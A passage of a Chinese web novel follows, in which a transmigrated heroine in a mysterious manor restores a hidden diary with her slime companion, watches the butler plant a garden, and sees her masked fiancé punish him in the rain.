咕噜说不是伊拉,那会是谁?可自己没有和它的记忆,那——
我是谁?
这个念头像一条冰冷的毒蛇,贴着脊椎滑下。
纪觅依手下的皮肤被激起细密的颗粒,她反复揉搓,试图抚下这层寒意。
自我怀疑的漩涡正在将她拖向深渊,她甚至开始觉得连指尖的触感都变得虚假。
这时,一阵温暖的食物香气压过熏香弥漫开来。
“伊拉小姐,您一天没有进食了,我准备了一点热汤。”
纪觅依恍然抬头,看见阿斯莫德不知何时走进房内,烛光将他的侧脸勾勒得异常柔和。
他左手托着餐盘,右手铺放着桌垫,微微倾身,将一蛊冒着热气的浓汤放在桌上,调整了一下勺子的位置,随即将餐盘往身侧一收,默默等候着。
纪觅依拖着无力的身子走到桌子前,在他关注的目光下拿起勺子,送到口中。
她含着勺子,试图挽留这真实的温度。
“味道还好吗?”
纪觅依回过神,抬眼看到了阿斯莫德担忧的表情,没有第一时间回复他,只是默默地喝汤。
他没有追问,也没有离开。
房间里安静下来,依稀能听到纪觅依的吞咽声。
“铛——”
纪觅依手腕一松,勺柄磕在碗沿,发出清脆的响声。
碗底只剩下浅浅一层汤,无声回应着阿斯莫德的询问。
“阿斯莫德。”纪觅依清了清沙哑的嗓子,擦拭着嘴角的油渍,“我想问你个问题,但是请你不要回答我,好吗?”
他保持沉默,俯身倾听。看着他这幅模样,纪觅依也不再犹豫:
“我一定能完成自己想做的事,对吗?不管过程如何,我一定能如愿,对吗?”
阿斯莫德郑重地点了三下头,站直身体,与纪觅依对视。
纪觅依紧握的手渐渐松开,她摸上心口,那里没有任何不适。
那三个点头没有任何言语,却比任何回答,都更有分量。
“我知道了。”她低声说,声音恢复了不少力气,“谢谢你的汤。”
其实她更想说的是,谢谢你。
阿斯莫德的唇角轻微勾起,烛光摇曳,眼眸里是说不清的温柔:“伊拉小姐,第一晚我就告诉过您,我会保障您的安全。”
他上前一步,极其自然地将空碗和勺子收到餐盘上。
“我希望您不要那么紧张,安心地待在庄园。这些话,并非出于我们的主仆关系。”
“洗浴间的浴缸为您备好了热水,在第三声钟响前,我会来送上热牛奶,希望今晚您能休息好。”
阿斯莫德没有多做停留,端着餐盘,像一道影子般默默退下,并细心地带上了门。
一切重新归于寂静,只剩下那缕袅袅的安神香气,以及纪觅依逐渐平稳下来的心跳声。
11. 重见天日
纪觅依起身,推开椅子,慢慢走向洗浴间。
门虚掩着,透出湿润的水汽。她推开门,蹲在浴缸前,用手试了试水温。
随着她的搅动,热气蒸腾而上,夹杂着舒心的薰衣草香。纪觅依的下巴抵在浴缸边缘,任由热气掠过脸颊,享受这令人松懈的暖意。
离浴缸半臂距离的小桌上,整齐摆放着浴巾,新睡裙和一切她可能会用上的东西。
纪觅依褪下身上的衣服,抬脚迈进浴缸,把整个人都浸在热水里。
这是这几天纪觅依最放松的时刻,她舒服到打了个哆嗦,下半张脸埋在水下,时不时吐出几个泡泡。
纪觅依不愿去追想阿斯莫德到底是多久开始准备,又是怎么预估水的温度。
即使这一切都过分妥帖,放在阿斯莫德身上,仿佛就是理所应当。
那些被吐出来的泡泡在水面荡漾,推着飘浮在上面、手掌大小的托盘四处游走。
纪觅依抬起手,悬在托盘上,残留在身上的水珠顺着她的手指滑到托盘上。等指尖的水珠所剩无几时,她屈起双膝,手臂环抱着小腿,下巴枕在膝盖上。
水雾凝结在她的睫毛上,压着眼皮缓缓闭上。
“咕噜。”
一阵短促的声音从水中传来,纪觅依立即从半睡半醒中回过神,睁大双眼,盯着浴缸尾部的水面。
“咕噜咕噜咕噜咕噜......”
水里连绵不断冒出泡泡,就像在回应着刚才纪觅依在水中吐出的那些。
她下意识小声唤道:“咕噜?”
水底的气泡骤然停止,唯一回应的声音也消失了,就在她以为是自己的错觉时,一团手掌大的史莱姆蹦到托盘上。
“哎呀!”托盘被它突然的到来吓得四处逃窜,左摇右摆,差点把刚落脚的咕噜摇下来。
纪觅依看到它的一瞬间,惊呼道:“咕噜!”
她把托盘放在膝盖上,咕噜弹来弹去的身子终于稳住了,它揉了揉肚子,埋怨道:
“好晕啊,咕噜,我差点吐了!”
“没事没事。”纪觅依拿手指摸摸咕噜的脑袋,昨天比自己大一大圈的它,现在一手就可以捏起。
纪觅依脸上不自知的泛起笑容,满眼慈爱的看着托盘里的小家伙。
“你昨晚没事吧?”
“没事啦,咕噜。”咕噜两只小手左右戳戳,有点不好意思,“就是,我,我还没想起......”
它耷拉着脑袋,时不时瞟一眼,观察着纪觅依的表情。
“这有啥呀!”纪觅依拨开了它还在戳戳戳的小手,“我也没想起,就当我们抵消啦!”
“话说到这,你今晚怎么钟响之前就来了?我昨晚都没找到你。”
咕噜的手沿着她的指纹游走,听到这个问题,突然气愤道:
“因为有个很讨厌的家伙,不让我来找你,咕噜!我今晚都是偷偷溜过来的。”
它的脸又滑又弹,在她指尖使劲一顿蹭,蹭一下抖三抖,看得纪觅依的心都要化了。
咕噜夹着嗓子,尾音含了蜜般撒娇道:“咕噜好想你——”
它本以为这样做,纪觅依会笑着蹭它的脸,说“我也想你了”。可她紧蹙着眉,纠结着刚才咕噜嘴里那个“讨厌的家伙”。
她凑到咕噜面前,严肃地问道:“咕噜,你说的这个讨厌的家伙,是阿斯莫德还是维森?”
“啪嗒——”
咕噜一掌盖在纪觅依的眉心,打圈揉开眉头隆起的纹路:“我不能告诉你!你别担心了,咕噜,那个家伙可管不住我。”
“好吧......”
它精准捕捉到纪觅依语气里的失落,咂了咂嘴巴,想到个好主意。
“我可以帮你忙的,咕噜,我知道床头柜有个日记本!”
“嗯?”
纪觅依的注意力全部集中在咕噜身上,它得意地撅了撅嘴巴:“你快收拾起来,我带你找。”
说完后它捂住自己的眼睛,透明的身体泛起了诡异的红晕。
“我可不偷看,我是好咕噜。”
这小家伙......
纪觅依哭笑不得的站起身,不忘把托盘放回水面。随着她起身,浴缸里掀起“惊涛骇浪”,咕噜在里面直打转,艰难地稳住身体,双手还不忘捂住眼睛,嘴里碎碎念着“不看不看”。
“我好了。”
纪觅依三下两下穿好睡裙,把咕噜拯救出来,放在肩头。
“香香!”咕噜嗅了嗅纪觅依的肩膀,整只史莱姆瘫软成一片,紧紧吸在她皮肤上。
纪觅依一边向床走去,一边搓着沾湿的发尾,她坐在床边,把擦头发的毛巾披在肩上,咕噜窸窸窣窣地滑到她的锁骨窝里乖巧待着。
“咕噜,我告诉你,你不知道吧,这床头柜里有个日记本。”
它刻意压低的声音显得可爱又滑稽,面对故作神秘的咕噜,纪觅依清了清嗓子,憋着笑:
“咳,其实——”
咕噜的眼睛逐渐瞪大,亲眼看着她无比熟练的推开夹层,取出本子,放在大腿上。它猛地一蹦,“啪叽”一声摔在本子上,慢慢凝聚成形。
纪觅依本以为咕噜会指责自己破坏了大显身手的机会,可它只是在笔记本封面转悠了两圈,崇拜地望着她:
“你好厉害,好聪明!不愧是我喜欢的人!”
“啊哈哈,没有啦,没有啦。”纪觅依不好意思地挠了挠脑袋,这种近乎表白的夸奖羞红了她的耳尖。
她将咕噜提起放在手心,翻到前几页,问道:“我前天就找到了这个本子,可是这几天不管怎么翻,都是一片空白。”
它趴在手掌上,探着头仔细端详,纪觅依贴心地把手挨着纸面,方便咕噜发挥。
“有人做了手脚,把上面的字消除了。不过,我能解决——”
它摸着不存在的下巴,贴着纸面一点点移动,而那些走过的地方开始浮现出字迹。
“叩叩——”
“伊拉小姐,您洗好了吗?”
是阿斯莫德!
他每次都来的太巧了,纪觅依拎起咕噜放在肩上,把本子一扣,塞到枕头底下。
“藏好啊。”在纪觅依轻声提醒之前,它就机灵地钻到毛巾下,继续贴在肩头。
她大步迈去,把门拉开一条小缝,露出半个脑袋,笑眯眯地看着站在门外的阿斯莫德。
他端着一杯冒着热气的牛奶,开口道:“看样子,您现在状态不错。”<
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p>“那可多亏了你!”纪觅依伸手就准备接过那杯牛奶,“给我吧,你也早点休息。”
阿斯莫德却向后一退,纪觅依伸出的手落了个空,他盯着她肩上的毛巾,眼睛微眯问道:“这是?”
纪觅依攥住毛巾两端,紧紧裹着肩膀:“这是我拿来擦头发的。”
“需要我帮您吗?”阿斯莫德上前迈了半步,指尖几乎要触碰到毛巾边缘。
“啊不用!”
纪觅依的声音比预想中急促了些,她下意识一躲,肩膀抵住门框,随即挤出一个笑:“我自己来就好,谢谢你。牛奶......给我吧?”
阿斯莫德的手停在半空,他没有收回,也没有继续向前,只是看着她。
走廊的光线昏暗,纪觅依分辨不清他到底是什么表情,嘴里的唾液疯狂分泌,惹得她本能咽下。
终于,他收回了手,将牛奶递到她的手上:“小心烫手。”
他的语气恢复了一贯的平稳:“您早点休息,如果遇到什么异常,请立即呼唤我,我向您承诺......”
“保护我安全嘛!”纪觅依迅速接过杯子,手指不小心擦过阿斯莫德的手,“如果有什么需要,我会摇铃的。”
阿斯莫德点了点头,没有再说什么,视线扫过她的肩膀,他俯身行礼,准备离开。
“晚安,阿斯莫德。”
他的步子一顿,转身看着探出半个身子准备关门的纪觅依,温声回应:
“晚安,伊拉小姐。”
门缓缓合上,纪觅依背靠着门板,听着门外脚步声逐渐远去,直到完全消失。她长长呼出一口浊气,在裙摆擦拭着手心的冷汗。
咕噜从毛巾底下钻出,用气声问道:“走了吗?”
“走了。”纪觅依确认道。
她将牛奶杯放在书桌上,快步走回床边,从枕头下抽出那本硬皮笔记本。
咕噜顺势从她肩上滑落,准确地掉在摊开的纸页。
“快快快,让我来!”它兴奋地在纸上扭动,迫不及待要大显身手。
纪觅依盘腿坐在床上,将笔记本摊放,看着咕噜用它果冻般的身体在纸页缓缓移动。
它所过之处,崭新的纸张变得昏黄,像是尘封已久的秘密重见天日,逐渐浮现出娟秀却略显凌乱的字迹。
尽管咕噜已经尽全力去恢复日记,可第二声钟响过了至少五分钟,才显现出第一段——
【这是第几天了?我好像数不清了,我只知道在这个世界我叫伊拉。】
日记的主人也是穿越者?
纪觅依的呼吸屏住了。
原来,在她之前就有人以伊拉的身份进入这座庄园了吗?
她的指尖不住地发抖,继续读下去:
【我想回家,离开这个该死的地方。阿斯莫德他到底是什么存在,还有那个维森?我要知道这一切,我要逃离这儿!】
咕噜继续向下移动,更多的字迹显现出来。
【阿斯莫德就是个冷血动物!他冷漠极了,我能感受到,他每次喊出“伊拉小姐”时,语气里深深的厌恶。我无法从他身上得到更多的信息,那怎么办?】
纪觅依轻咬着下唇,疑惑道:
“阿斯莫德,冷漠?”
12. 消失的她
她回忆着这几天阿斯莫德的一举一动,最多称得上有边界感,和“冷漠”这个词毫不搭边,更别说今晚——他那未经允许就伸出的手。
反正,她无法说服自己将阿斯莫德与日记里的那个管家联系起来。
纪觅依翻开下一页,咕噜也配合地移动到上面。
“咕噜,你的身体怎么变得更小了?”
她不再关注日记内容,担忧地看着身体越来越透明的咕噜。
咕噜的声音听起来虚弱不少:“没事,没事——”
它硬撑着在纸上挪动,身下显示出【不能】这两个更加凌乱的字迹后,累得气喘吁吁。
“别硬撑了!”纪觅依急到语气都变得严厉起来,将咕噜护到手心,扣上日记本,“怎么回事?是因为昨晚吗?”
它有气无力的点了点头,缓了一会开口道:“我的空间碎掉了,还没拼好。”
“等几天,好吗?”它像是做了什么错事一样,嘴巴一撇就要哭出来般,“等几天我恢复好了......”
“没事的,你已经帮到我了,不要自责。”
纪觅依只会心疼面前脆弱的小家伙,它救了自己,结果空间碎掉了,现在却内疚没有帮上忙。
别说指责,她都不知道该怎么报答才好。
“我也不急,等你好了,我们再一起看。”纪觅依主动捧起它,贴在脸侧,安慰道,“如果没有你,我可能永远不会知道里面的秘密呢!”
“咕噜真厉害!”
这下它彻底红了,身上的温度唰一下升高,冒出一个小泡泡。
纪觅依以为它像昨晚一样失控,刚想张嘴问,咕噜搓了搓自己的脸,过了两三秒就冷静了下来。
确认它没事后,她柔声道:“今晚就好好休息吧。”
咕噜在她掌心舒服地蹭了蹭,发出一串满足的轻哼,困倦地闭上眼睛。
纪觅依将它小心放在枕边,下床将日记本塞回床头柜,随即走向书桌。
那杯牛奶已经微凉,她端起杯子,将牛奶一饮而尽,舌尖残留着浓郁的甜香。
经过昨晚的事后,纪觅依现在时不时就会留意穿衣镜有没有被遮上,看到被盖得严严实实的镜子,她也就放心了。
在没有找到解决第三条规则的方法前,还是先别取下那块布吧......
第三声钟响起,催促着她回到床上,纪觅依躺下,耳侧就是缩成一团的咕噜。她小幅度的朝咕噜躺着的地方挪动,生怕惊醒它。
望着已然进入梦境,身体随着呼吸微微起伏的咕噜,纪觅依只觉得难得的安心。
她无比感激,在这个世界有它的出现,为自己提供了一个不需要付出任何代价的避风港。
“咕噜,虽然我不记得你了。”她喃喃自语,“但如果可以的话,我想带你一起回家。”
“唔......”
咕噜下意识地回应了一句,逗得纪觅依一笑。
“晚安,小家伙。”
怀揣着这种复杂而平静的心绪,纪觅依的眼皮渐渐沉重,她原本以为睡了一天的自己,今晚很难入睡。
这牛奶真管用啊——
她的头向咕噜身边一歪,和它一同酣睡。
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“早上好——咕,咕噜?”
纪觅依起床时,枕边早已没有咕噜的身影。
它已经走了吗?
她的心中难免有点小落寞,但立马就被自我消解掉,利落地从床上蹦起。
充足的休息让身体里积蓄的疲惫一扫而空,甚至久违地感受到了精神上的轻盈。纪觅依起身换好衣服,把脏衣服草草折了几下,堆在椅子上。
她看着椅子出神,似乎想到了什么。
说来也巧,她可从没见过帮自己收拾房间的仆人,难道这个庄园招聘时的要求就是神出鬼没?
要不是阿斯莫德大部分时候都在她身边,纪觅依都怀疑这个仆人是他杜撰出来的。
她走到窗边,将窗户推开一条缝隙。窗外的天气应和着她的好心情,晨间的微风带着清冽的气息涌入。纪觅依深吸一口气,准备好迎来崭新的一天。
她知道,她不能逃避,必须面对这个世界的谜题与危险。
她已不再像前几天那般忧心忡忡,虽然前路依然迷雾重重,许多无法解决的危机随时会威胁她的生命安全,但至少,她不再是孤身一人,也不是绝对的被动。
纪觅依拉开房门,阿斯莫德并未像往常那样准时静候,走廊空荡荡,只有阳光透过玻璃投射下的光斑在地面浮动。
她稍感意外,却并没有放在心上,踩着光斑走下楼。
餐桌上已经摆好了几片刚刚烘烤过的面包片,一旁的小碟子装满了还挂着水珠的浆果。
餐盘压着暗黄色方卡的一角,纪觅依抽出纸片,上面落款写着“您忠诚的阿斯莫德”。
相较于维森,阿斯莫德的字迹更加规整。她仔细阅读着他留下的话:
【伊拉小姐,我很抱歉今早不能服侍您用餐,我需要处理一下后花园,感谢您的理解。】
还有后花园?
纪觅依朝嘴里丢了颗浆果,又拿起一片面包,涂抹上黄油。
前几天在主楼里探索,一直没什么收获,看来,这下得拓展空间了。
她吃完早饭,穿过长廊,来到大门前,双手用力一推,门轴发出沉闷的叹息。看着只漏出一条缝的门,纪觅依侧过身,用肩膀抵住门板,铆足了劲才推开。
她揉着肩膀走到门外,联想到了第一天为自己开门的管家,发自内心佩服。
纪觅依绕过主楼,站在一片荒芜的土地前——这就是......阿斯莫德嘴里的后花园?
花是一朵没见到,杂草在这里倒是长得挺欢。她拎着裙摆,提膝迈步,在“百草园”逛了一圈,竟找到了几丛枯败的玫瑰花杆,它们倔强地挺立着,显得有些心酸。
纪觅依环视一圈,阿斯莫德不在这里,也好,这样就不用给自己的行动找借口了。
离花园数十步,是一片黑压压的森林,直觉在大脑中响起警报,在深思熟虑后,她决定暂时还是不要进去了。
那去哪里呢?
纪觅依就快要走到主楼大门,忽然想到了什么,脚步一转,向着喷泉雕像走去。
从来到庄园的第一天,这座雕像就吸引了她的注意力,纪觅依不相信这只是巧合,反正阿斯莫德不在,不如趁现在研究研究。
她仰着脑袋,从圣女像的背后缓步绕到面前,变换着角度试图发现些异常之处。
石膏铸造的少女依旧被红褐色藤蔓
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紧紧缠绕,阳光洒下,稍稍淡化了初见时的哀伤,更多是一种悲悯。
纪觅依仰头凝视着她的面容,抬起右手,沿着圣女裙摆的裂痕描摹。
看来,需要遵守第一条规则的不只是自己,纪觅依注意到她在胸口合十的双手,消失在藤蔓构成的囚笼之下,一阵微风掠过,那团红褐色的藤蔓像是圣女的心脏在颤动。
就在这时,纪觅依的余光注意到,一片阴影从大门闪过。
她的身体先于大脑做出反应,立即蹲下,藏在雕像宽厚的基座后,同时屏住了呼吸,全神贯注听着对方的脚步声。
从大门出来的人脚步轻脆,步伐稍快且没有一刻停顿。
这肯定不是阿斯莫德!
纪觅依小心翼翼挪动着,借着圣女裙摆和基座的夹角偷看着脚步声的主人,对方已经绕过主楼,留下一个匆忙的背影,转身时却露出了臂弯里抱着的衣服——那是她今早堆在椅子上的脏衣服。
是那个从没见过的仆人!
纪觅依脑子嗡的一声,来不及细想,蹭的一下站了起来,提着裙子就迈开步子追上去。
当快走到后花园时,纪觅依放下裙摆,准备一个蓄力冲上去,趁被发现之前,直接抓住仆人。
可现实没给她机会,对方似乎察觉到了什么,毫无征兆地一回头。
刹那间,两道视线在半空中撞了个正着。
仆人的脸唰一下就白了,眼中爆发出远比纪觅依更甚的惊恐,喉咙里发出一声短促的惊喘,猛地扭头,拔腿就跑。
“等等!”纪觅依脱口而出,顾不得隐藏,“你别跑啊!”
二人一逃一追,冲进了那片荒废的后花园里。
纪觅依清清楚楚看到,那个仆人是个中年妇人。
那就不担心了,她跑不过自己了。
两人的距离逐渐缩短,仆人感受到纪觅依急促的呼吸离自己越来越近,更加慌张。
“站住!”
纪觅依以为自己再跑几步就可以追上时,一阵力量从后方将她一扯,她气喘吁吁地停下,扭头一看——该死的玫瑰花杆!
上面的小刺精准的咬着她的裙摆,死死不放口。纪觅依双手扯住裙摆,又用力往上掀,想尽快脱离束缚,却越弄越乱。
她亲眼看着仆人的身影消失在森林中,一咬牙,身子往前发力,脚下暗暗使劲,试图直接把裙摆撕裂。
“伊拉小姐?”
一道熟悉的声音从身后传来,为纪觅依的动作按下暂停键,她愕然回首。
阿斯莫德难得没有穿着管家三件套,却依旧带着手套。
他左手提着一桶花苗,右手握着一把崭新的铁铲,镜片后的绿眸静静地看着纪觅依,又缓缓移向她所追逐的方向。
完蛋了......
纪觅依扯着裙摆,她可不想这幅样子被阿斯莫德看到,人怎么能这么倒霉啊!仆人没追上,还在管家这丢了个大脸,万一他和维森汇报......
死裙摆,快啊!
她的动作越来越大力,恰在此时,一阵微风袭来,将她此时窘迫的姿势毫无保留地显露出来。
而阿斯莫德的脸上没有什么表情,只是微微偏头,像是疑惑。
“您在这里。”他的声音夹在风里,有些飘忽不定,“是来找我的吗?”
13. 家夫善妒
“啊......对!”
纪觅依的双手一放,优雅地在身侧拍了拍,假装无事发生:“我看到你写的卡片了,吃完饭第一时间就来找你了呢!”
阿斯莫德浅浅一笑,走到她身边,放下手中的工具,单膝跪下,默默地将她的裙摆从花丛中拯救出来。
那些在纪觅依这耀武扬威的小刺,到了阿斯莫德手下,突然变得乖巧起来。
他不知疼痛般,右手握住花杆向后一扯,左手轻柔地挑出布料。
阿斯莫德的动作如蜻蜓点水,但效率极高,纪觅依感觉没站一会就好了,相比之下,自己刚才那番挣扎,就像是在粘鼠板上的老鼠,卖力但无效。
“好了。”他站起身,“下次这种情况,您可以直接呼唤我。”
“谢谢啊,谢谢。”
他平和的态度冲淡了纪觅依的尴尬,她捏住裙摆,提膝一跨,踩在一片杂草相对较少的土地上。
阿斯莫德只是带着笑意,淡淡的看着她。
“您还是先回去吧,这里有点乱。”
他弯腰捡起花桶,手中的铲子一扬,手臂发力一削,玫瑰花杆应声成片倒下。
“我不想回去。”纪觅依好不容易能找个合适的理由出来,她可不想就这么回去,“我在这看着你收拾,好吗?”
阿斯莫德将手中的铲子往地里一插,向花园的角落走去,搞得纪觅依一头雾水。
不行就不行嘛......怎么突然走了啊。
纪觅依低头用脚尖碾着地上的小石子,纠结着要不就这么离开时,阿斯莫德的脚步声慢慢靠近。
她一抬头,看见他拖着一张略显陈旧的木椅走来,椅子腿上还沾着些许泥土。
阿斯莫德将椅子放在她身侧,从怀中掏出一张干净的手帕,弯腰并细致地擦拭了椅面和扶手。
“您可以坐了,伊拉小姐。”他直起身,语气平静如常,“这里只有这种椅子,委屈您了。”
纪觅依愣住了,这完全出乎她的意料,可阿斯莫德却只像是做了一件再寻常不过的事。
她默默坐下,椅子“吱呀”叫了一声。也许是阳光正好,纪觅依感觉全身都被照得暖暖的,放松地窝在椅子里,两只脚悬空着、一来一回晃悠。
阿斯莫德回到那丛倒下的花杆旁,开始用铲子将它们连根铲除,动作利落而专注。
每次发力时,他颈侧的线条也微微绷紧,额前的碎发随之甩开,那道疤痕也出来透了口气,细小的汗珠从额角渗出,在阳光下闪烁着。铁铲破开泥土的沙沙声伴着他的呼吸声,这幅画面竟有些养眼。
纪觅依握住扶手,立起上半身,脚仍在晃着:“阿斯莫德!”
他扭头看向纪觅依,回应道:“嗯,怎么了?”
“这怎么这么乱啊,我刚来这就想找你,可裙摆就被缠上了。”
阿斯莫德继续手上的动作:“维森先生不喜欢花,所以这里不太有人重视,疏于打理成了这个样子。但您来了,一位可爱的女士应该拥有一个美丽的花园。”
原来是这样,这么重视自己啊!这样想还是有点小感动的。
纪觅依想了想,道:“那谢谢维森先生了......”
“是我的自作主张。”阿斯莫德打断,注视着坐在椅子上的纪觅依,“和我的主人无关。”
纪觅依晃悠的脚一僵,老老实实地坐好。
“之前没有买到您喜欢的花,我很愧疚,决定把这个花园打理出来,种上不同种类的花。我想,里面总有您会喜欢的。”
“是因为这个啊。”纪觅依顺了顺脸侧的头发,“嗯......我根本不会在意这种小事啦!”
其实她心里还是想道个歉,没想到当时心情不好随口挑的刺,被阿斯莫德记挂这么久,现在还要大费周章来弥补。
“那我就当你原谅我了,可以吗,伊拉小姐?”
阿斯莫德的语气带着笑意,和之前那个无时无刻都得体的管家有了点区别,如果非要说清楚的话,此时的他多了人情味,让人更想靠近。
纪觅依连点了好几个头,笃定的“嗯”了一声。
“阿斯莫德,我有点好奇。”纪觅依指了指那片森林,“那里面有什么?”
“那边啊......”阿斯莫德看向森林的眼睛微微眯起,“您最好不要进去。”
“为什么啊?”
阿斯莫德低头,握着铲子使劲一挖:“因为,那片森林里有野兽,会吃人。”
他嘴上说着那边有危险,可语气不像是警告。
纪觅依观察着他的表情,越发觉得他就是不想让自己进去,才这样吓唬人。
她假装被吓到了:“啊?那我一定不去。”
心底却是截然不同的想法:既然阿斯莫德这么说,那里面一定有什么不
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可告人的秘密,比如那个可疑的仆人。
必须去!但不是最近,得做好准备,至少知道仆人逃跑的线路。
在她思考期间,阿斯莫德已经将那片花丛铲除干净,花杆被整齐堆在一旁。他将那桶花苗挪到面前,蹲下并抽出桶里的小铲和两用锄。
纪觅依探头探脑地看着种花的过程,阿斯莫德注意到她的目光,邀请道:“您想来看看吗?”
她立马应下,从椅子上弹起,三步作两步走到阿斯莫德身边,轻快地一跳,随即蹲下。
纪觅依戳弄着还没指头大的花骨朵:“这是什么花啊?”
阿斯莫德回答着,手上的动作一点不停:“听卖花的商人说,这叫繁星花。”
“繁,星,花。”纪觅依看着星星点点的花骨朵,想象着它们全部盛开的样子,“这名字真好听。”
“您喜欢就好。”阿斯莫德右手从桶中取出一把花苗,左手托着它们的根系,在挖好的小坑里种好,“明天我会去集市采购其他花苗,您想一起吗?”
“好啊好啊!”几乎是听到的下一秒,纪觅依就回应道,她的目光被阿斯莫德利落的动作牢牢吸引,桶里大部分的花苗在极短时间内就在对应的坑里笔直站好。
纪觅依戳了戳阿斯莫德正在忙碌的左手,对方动作停下。
她小声询问:“你的伤好了吗?”
我想看看。
阿斯莫德偏头,从她伸出的指尖扫视到她的双眸,他读懂了她未说出口的真实想法。
他放下了小铲,脱下左手的手套,毫无保留地在纪觅依面前展示。他手心的伤口和周围时日已久的疤痕相比,显得稚嫩多了。
看到他手心几乎愈合好,留下一道浅粉色细线,她心中一块大石头落了地。
阿斯莫德的愈合能力也是神速,他的伤明明比自己严重多了,恢复情况却相差无几。
她的目光再次转向那些旧伤,依旧觉得惨不忍睹,她的指尖微微颤抖,刚触碰到那些旧伤,就迅速离开,语气里是不掺假的担心:
“当时,是不是很疼?”
“现在都已经好了。”阿斯莫德看着自己左手的眼神里没有纪觅依设想的痛苦,只是一种淡然,仿佛真的早就不在意了,“您不相信的话,可以摸摸。”
纪觅依不好拒绝,手指抚上那一道道疤痕,她的动作无比温柔,生怕那些伤疤再次疼痛。
14. 家夫善妒
他是......维森?
纪觅依张了张嘴吧,又马上合上,最终还是没有问出口。
答案很明显,住在主楼二楼,只需一眼就让阿斯莫德如此慌张的,也只有这座庄园的主人了。
“现在起风了,您还是先回主楼吧。”
风也在此刻应验了他的话,从四面八方卷来。
纪觅依转身,看向阿斯莫德。
他的声音冷漠而疏离,仿佛刚才那个对视,那个触碰,只是一场幻觉。
阳光也逐渐暗淡下去,风吹乱了她的头发,但她还是一直盯着阿斯莫德,想从他口中知道原因。
“起风了。”阿斯莫德又重复了一遍,这次只有简简单单三个字,宛如冰冷的告知。他说完后直起身,戴好手套,侧身站好,视线微微下垂,躲开纪觅依的视线。
纪觅依没有再多问,比如“被看到了的话,我们会怎么样?”,又或是,“你会怎么样?”。
阿斯莫德的冷漠在警告她,此时的关心或探究,会成为彼此危险的催化剂。
因为他们都无法确认,窗后那双监视的眼睛,是否依旧锁定在他们的身上。
她欲言又止,只留下一个干巴巴的——
“......好。”
纪觅依提起裙摆,走回主楼。风更大了,像是在推着后背,无声地催促她抓紧离开。
她来的时候没有感觉到,脚下的路是如此的崎岖,每一步都走得不太顺利。
风与裙摆不断纠缠,绊住了她的脚步,纪觅依趁此稳住身子,回首望向阿斯莫德。
他弯下腰,重新握紧铁铲,将翻出的土地拍实。
刚刚种下的花苗被他突然转变的态度吓到,在陡然凌冽的风中瑟瑟发抖。
阿斯莫德的背影挺拔,却透着一种与世隔绝的孤独,仿佛无论纪觅依怎么做,都无法拉着他逃离这片土地。
她抿着嘴唇,只专心脚下。
脚下的路在此时变得无比漫长,纪觅依在这条路上第一次察觉到自己的无能为力,她连自己都护不好,更别提阿斯莫德了。
她走进主楼内,心里为阿斯莫德祈祷,身后的门如同第一晚般“砰——”的关上,巨响在空旷的大厅里回荡,随后庄园恢复了惯有的、令人窒息的寂静。
花园里的风声,泥土的气息,阳光的温度,连同那段美好时光,都被厚重的门板吞噬。
纪觅依回到自己房间,再次翻出那本日记本。
她现在更加不相信记叙者笔下那个冷血动物会是自己所见的阿斯莫德。
她无比确信,这不是被催眠导致的鬼迷心窍。她承认自己不是顶尖的聪明,却拥有更难得的直觉,那个笑和眼底的情绪没有一个是虚情假意。
必须知道这本日记的所有内容!
纪觅依暗下决心,打算今晚看看咕噜的状态如何了。她放下日记本,来到窗边。
窗户紧闭,她听不到窗外的风声是如何呼啸,只能看到暗沉的天色。绵绵细雨逐渐显了形,飘洒在窗上。
阿斯莫德还在外面!
纪觅依推开窗户,看到他只穿着单薄的衬衣,没有任何停下手上动作的迹象,只是更用力地将铁铲插入湿透的泥土,动作精准、稳定,透着一股机械般的麻木。
她探出脑袋,自己的头发也被雨水打湿。
蠢死了!
纪觅依彻底认识到阿斯莫德的执拗,这座花园又不是什么要紧事,有必要下雨还不回来吗?
“阿斯......”
她本想大喊一声,叫他赶快回来躲雨,一道撑着黑伞的身影从花园一角慢慢靠近阿斯莫德。
是维森。
纪觅依完全没有察觉到维森是什么时候到花园的,甚至没有发现他就在那里审视着阿斯莫德的一举一动。
她立马闭上了嘴巴,默默地观察着花园的一切。
阿斯莫德发现了他的靠近,停下了手上的动作,转身低头。而维森打着伞,丝毫没有在意自己眼前被淋湿的管家,抬起手中的权杖在地上敲了两下,阿斯莫德在他身前跪下。
维森居高临下地盯着跪在自己面前的管家,举起权杖,落在阿斯莫德的肩上。
他弯腰,好像说了些什么,可纪觅依一句也听不清。
阿斯莫德点头应许,随即起身继续劳作,纪觅依能清晰看到他的衬衫湿透,紧紧贴在背部,勾勒出绷紧的肌肉线条。
在雨水中,他的肤色显得更加苍白,仿佛下一秒就要碎在风里。
维森后退几步,继续注视着阿斯莫德。
纪觅依现在知道阿斯莫德回不来的原因了,但她不明白维森为何如此为难他,就因为自己和阿斯莫德凑到一起了?
还真有可能......
以她对他的认识,这个掌控欲强的未婚夫看到令人误会的一幕,肯定得炸!
就在纪觅依思考的时候,维森极其缓慢地抬起了头。
面具上两个空洞的眼窝,精准地捕捉到了偷偷观察的纪觅依。
此刻,时间同血液一起凝滞。
纪觅依浑身僵硬,无法移开视线,整个人像被锁定一般伫立在窗后。
她看不清面具后的眼睛,却能感受到那视线——没有愤怒,没有警告,甚至没有探究。
只有,果真如此的确认,仿佛在清点这座庄园中的所有物是否按自己所想那般运转。
甚至可以说,是一种玩味。
维森看着僵住的纪觅依,歪着脑袋,右手从身侧缓缓抬起,向她挥了挥手。
他在和自己打招呼吗?
“砰——”
纪觅依猛地向后跌去,用尽全身力气关上窗户。随后转身,后背重重撞在墙上,震得胸腔发痛。
她紧紧贴着墙,捂着心口剧烈喘息,双腿渐渐卸力,滑坐在地上。
冷静,冷静!
她心中不断默念,害怕解决不了问题,必须冷静下来再去思考。
过了几分钟,纪觅依感觉自己的四肢没有那么无力,她扶着墙站起来。
维森出现了。
这座庄园最神秘的存在。
同时,纪觅依心中一些问题也有了答案:或许自己和阿斯莫德“战友”关系后的问号可以更改了。
她重新站直,再次回到窗边。
纪觅依要确保自己唯一的战友,那个说一定会保护自己的人是安全的。
雨幕中,阿斯莫德的身影已经模糊,而维森早已不见踪影,只留下他一人,再次孤单的站在那里,不知疲倦地平整着脚下
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的土地。
纪觅依的指尖陷进掌心,她不能出去帮他,甚至不能通过窗户喊他躲雨。
她逼着自己转开视线,思考些更实际的问题:维森会怎么对自己?
唯二能护住自己的两个人,一个还在受罚,一个状态未知。
她掏出每天都要放在兜里的刀,看着刀刃锐利的寒光,心底渐渐有了底气。
如果,他真的要对自己下手,至少要拼一把!
